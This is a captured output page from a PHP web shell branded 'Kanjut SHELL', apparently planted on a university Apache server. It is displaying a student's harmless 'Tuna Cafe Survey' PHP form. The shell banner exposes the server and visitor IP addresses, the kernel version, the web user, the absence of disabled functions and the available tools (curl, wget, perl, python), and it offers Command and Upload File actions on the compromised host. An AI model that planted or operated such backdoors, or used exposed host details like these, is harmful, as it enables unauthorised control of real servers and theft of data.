Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.225.72.161
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rlbarner/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/rlbarner/www/cafemod.php
<BODY BGCOLOR="#D9D9F3">
<FONT FACE="Sylfaen">
<CENTER>
<H2>Tuna Cafe Survey</H2>
<HR>

<Form action=cafemodaction.php method=post>
<?php
	$menu = array('Tuna Casserole', 'Tuna Sammich', 'Tuna Pie', 
		'Grilled Tuna', 'Tuna Surprise');
	$bestseller = 2;
	$likes = array('a. The marvelous food preparation', 'b. The affordable prices',
			'c. The speedy service', 'd. Just like tuna', 'e. None of the above');
	print "Indicate your favourite:<BR>";
	
	for($i=0; $i<count($menu); $i++)
	{	print "<INPUT type=checkbox name=prefer[] 
			value=$i> $menu[$i]";
		if($i==$bestseller)
			print "<FONT COLOR=red><B> Our best seller! 
				</B></FONT>";
		print "<BR>";
	}

	print "What do you like about the Tuna Cafe?<BR>";
	for($x=0; $x<count($likes); $x++)
	{	print "<INPUT type=checkbox name=answers[] value=$x> $likes[$x]";
		print "<BR>";
	}

?>

<INPUT type=submit value=Submit>
<INPUT type=reset value=Reset>
</Form>
<HR>
<A HREF=index.html>Index</A>
</CENTER>
</FONT>
</BODY>

Stv3n404 - 2023